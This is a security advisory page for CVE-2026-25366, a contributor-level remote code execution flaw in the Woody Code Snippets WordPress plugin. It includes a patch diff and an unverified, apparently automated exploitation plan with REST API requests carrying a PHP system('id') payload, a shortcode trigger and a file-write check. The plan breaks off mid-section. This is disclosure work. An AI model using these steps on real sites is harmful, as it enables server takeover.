CVE-2026-25366

Woody Code Snippets – Insert PHP, CSS, JS, and Header/Footer Scripts <= 2.7.1 - Authenticated (Contributor+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
2.7.2
Patched in
44d
Time to patch

Description

The Woody Code Snippets – Insert PHP, CSS, JS, and Header/Footer Scripts plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.7.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.7.1
PublishedMarch 23, 2026
Last updatedMay 5, 2026
Affected plugininsert-php

What Changed in the Fix

Changes introduced in v2.7.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25366 - Woody Code Snippets RCE ## 1. Vulnerability Summary The **Woody Code Snippets** plugin (version <= 2.7.1) is vulnerable to Authenticated Remote Code Execution (RCE) via the improper control of its custom post type `wbcr-snippets`. The plugin allows use…

Show full research plan

Exploitation Research Plan: CVE-2026-25366 - Woody Code Snippets RCE

1. Vulnerability Summary

The Woody Code Snippets plugin (version <= 2.7.1) is vulnerable to Authenticated Remote Code Execution (RCE) via the improper control of its custom post type wbcr-snippets. The plugin allows users to create and execute PHP code snippets. While intended for administrators, the custom post type wbcr-snippets (defined in insert_php.php) does not implement strict capability checks, allowing users with the edit_posts capability (Contributor level and above) to create or modify snippets. When these snippets are rendered via shortcode, the PHP code in post_content is executed on the server.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (/wp-json/wp/v2/wbcr-snippets) or the classic post editor (/wp-admin/post-new.php?post_type=wbcr-snippets).
  • Required Role: Contributor or higher (any role with edit_posts).
  • Payload: PHP code contained within the post_content of a wbcr-snippets post.
  • Preconditions: The snippet must be marked as "active" (wbcr_inp_snippet_activate = 1) and have its type set to "php" (wbcr_inp_snippet_type = 'php').

3. Code Flow

  1. Creation: A Contributor user creates a post of type wbcr-snippets.
  2. Metadata: The plugin uses metadata to determine snippet behavior. If the REST API or the save_post hook does not restrict metadata modification, the attacker sets:
    • wbcr_inp_snippet_type = php
    • wbcr_inp_snippet_activate = 1
    • wbcr_inp_snippet_scope = shortcode
  3. Execution:
    • The attacker inserts the shortcode [wbcr_php_snippet id=NEW_ID] into a regular post or page.
    • The WINP_SnippetShortcode::render() method in includes/shortcodes/shortcodes.php is triggered.
    • It calls get_snippet_content() (line 212), which retrieves code via WINP_Helper::get_snippet_code( $snippet ) (which returns post_content).
    • The code is passed to WINP_Plugin::app()->get_execute_object()->prepareCode(), which executes the PHP content.

4. Nonce Acquisition Strategy

To interact with the REST API or perform AJAX actions, a valid WordPress nonce is required.

  1. REST API Nonce:
    • Use the browser_navigate tool to log in and access /wp-admin/.
    • Use browser_eval to extract the REST nonce from the global wpApiSettings object:
      window.wpApiSettings?.nonce
      
  2. Shortcode/UI Nonces:
    • The plugin does not appear to use a specific nonce for shortcode rendering as it is a standard WordPress feature.
    • If an AJAX save is required, check the page source for winp_ajax or similar localization keys using:
      window.winp_ajax?.nonce
      

5. Exploitation Strategy

Step 1: Create the Snippet via REST API

Submit a request to create a new PHP snippet.

  • Method: POST
  • URL: /wp-json/wp/v2/wbcr-snippets
  • Headers:
    • X-WP-Nonce: [REST_NONCE]
    • Content-Type: application/json
  • Body:
{
  "title": "System Check",
  "content": "<?php system('id'); ?>",
  "status": "publish",
  "meta": {
    "wbcr_inp_snippet_type": "php",
    "wbcr_inp_snippet_activate": 1,
    "wbcr_inp_snippet_scope": "shortcode"
  }
}

Step 2: Trigger Execution

Create a standard post or use the preview feature to execute the shortcode.

  • Method: POST
  • URL: /wp-json/wp/v2/posts
  • Body:
{
  "title": "Trigger Page",
  "content": "[wbcr_php_snippet id=[CREATED_ID]]",
  "status": "publish"
}
  • Navigation: Access the URL of the created post or its preview: /index.php?p=[POST_ID].

6. Test Data Setup

  1. User: Create a user with the contributor role.
  2. Plugin: Ensure Woody Code Snippets v2.7.1 is installed and active.
  3. Settings: No special settings are required, as the default configuration allows shortcode execution.

7. Expected Results

  • The REST API request should return a 201 Created status with the ID of the new snippet.
  • Upon visiting the post containing the shortcode, the output of the id command (e.g., uid=33(www-data) ...) should be visible in the HTML response.

8. Verification Steps

  1. WP-CLI Verification:
    • Check if the snippet exists: wp post list --post_type=wbcr-snippets.
    • Verify metadata: wp post meta list [ID].
  2. Execution Check:
    • Confirm RCE by attempting to write a file: <?php file_put_contents('pwn.txt', 'exploited'); ?>.
    • Check for the file via CLI: ls /var/www/html/pwn.txt.

9. Alternative Approaches

Alternative: Classic Editor Submission

If the REST API does not allow metadata updates for the CPT, use the classic editor's save hook:

  • Method: POST
  • URL: /wp-admin/post.php
  • Parameters:
    • action: editpost
    • post_ID: [CREATED_ID]
    • content: <?php system('id'); ?>
    • wbcr_inp_snippet_type: php
    • wbcr_inp_snippet_activate: 1
    • wbcr_inp_snippet_scope: shortcode
    • _wpnonce: Obtain from wp_nonce_field in the post editor page.

Alternative: Universal Snippet

If the PHP-specific shortcode is restricted, try the universal shortcode:

Research Findings
Static analysis — not yet PoC-verified

Summary

The Woody Code Snippets plugin for WordPress is vulnerable to Remote Code Execution via the `wbcr-snippets` custom post type. Authenticated attackers with Contributor-level access or higher can create or modify snippets containing arbitrary PHP code and trigger their execution using a shortcode, as the plugin fails to strictly validate post types and lacks proper capability checks for snippet management.

Vulnerable Code

// includes/class.helpers.php:158
public static function get_snippet_type( $post_id = null ) {
	global $post;

	$_post = $post;

	$snippet_type = WINP_HTTP::get( 'winp_item', WINP_SNIPPET_TYPE_PHP, 'sanitize_key' );
	$get_post     = WINP_HTTP::get( 'post', '' );

	if ( empty( $post_id ) && ! empty( $get_post ) && ! is_array( $get_post ) ) {
		$post_id = esc_attr( $get_post );
	}

	if ( ! empty( $post_id ) ) {
		$_post = get_post( $post_id );
	}

	if ( ! empty( $_post ) && WINP_SNIPPETS_POST_TYPE === $_post->post_type ) {
		$_snippet_type = get_post_meta( $_post->ID, 'wbcr_inp_snippet_type', true );
		$snippet_type  = $_snippet_type ? $_snippet_type : $snippet_type;
	}

	return $snippet_type;
}

---

// includes/shortcodes/shortcodes.php:152
public function get_snippet_id( $attr, $type ) {
	$id = isset( $attr['id'] ) ? (int) $attr['id'] : null;

	if ( $id && WINP_Helper::get_snippet_type( $id ) !== $type ) {
		$id = 0;
	}

	return $id;
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.1/includes/class.helpers.php /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.2/includes/class.helpers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.1/includes/class.helpers.php	2026-01-19 12:10:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.2/includes/class.helpers.php	2026-01-27 15:40:02.000000000 +0000
@@ -158,7 +158,7 @@
 	 *
 	 * @param mixed $post_id Post ID.
 	 *
-	 * @return array|mixed|string
+	 * @return string|false Snippet type string, or false if post is not a valid snippet post type or not found.
 	 */
 	public static function get_snippet_type( $post_id = null ) {
 		global $post;
@@ -174,6 +174,12 @@
 
 		if ( ! empty( $post_id ) ) {
 			$_post = get_post( $post_id );
+			
+			// Security: Validate that the post belongs to the snippet post type
+			// to prevent arbitrary post content execution via shortcodes.
+			if ( empty( $_post ) || WINP_SNIPPETS_POST_TYPE !== $_post->post_type ) {
+				return false;
+			}
 		}
 
 		if ( ! empty( $_post ) && WINP_SNIPPETS_POST_TYPE === $_post->post_type ) {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.1/includes/shortcodes/shortcodes.php /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.2/includes/shortcodes/shortcodes.php
--- /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.1/includes/shortcodes/shortcodes.php	2026-01-19 12:10:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/insert-php/2.7.2/includes/shortcodes/shortcodes.php	2026-01-27 15:40:02.000000000 +0000
@@ -152,8 +152,18 @@
 	public function get_snippet_id( $attr, $type ) {
 		$id = isset( $attr['id'] ) ? (int) $attr['id'] : null;
 
-		if ( $id && WINP_Helper::get_snippet_type( $id ) !== $type ) {
-			$id = 0;
+		$snippet_type = null;
+
+		// Only resolve snippet type when a valid (truthy) ID is provided to avoid
+		// unnecessary request parsing or database lookups for invalid IDs.
+		if ( $id ) {
+			$snippet_type = WINP_Helper::get_snippet_type( $id );
+
+			// Security: Reject if get_snippet_type() returned false (invalid post type)
+			// or if the snippet type doesn't match the expected type.
+			if ( false === $snippet_type || $snippet_type !== $type ) {
+				$id = 0;
+			}
 		}
 
 		return $id;

Exploit Outline

The exploit involves an authenticated attacker with at least Contributor privileges leveraging the `wbcr-snippets` custom post type. 1. **Snippet Creation**: The attacker creates a new post of type `wbcr-snippets` using the WordPress REST API or the classic post editor. 2. **Metadata Injection**: The attacker sets specific metadata for the snippet: `wbcr_inp_snippet_type` to `php`, `wbcr_inp_snippet_activate` to `1`, and `wbcr_inp_snippet_scope` to `shortcode`. 3. **Payload Delivery**: The attacker places malicious PHP code (e.g., `<?php system('id'); ?>`) within the `post_content` field of the created snippet post. 4. **Shortcode Execution**: The attacker inserts the plugin's shortcode referencing the new snippet ID (e.g., `[wbcr_php_snippet id=NEW_ID]`) into a standard WordPress post or page. 5. **Trigger**: When the attacker or any site visitor views the page containing the shortcode, the plugin retrieves the snippet's content and executes it as PHP code on the server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.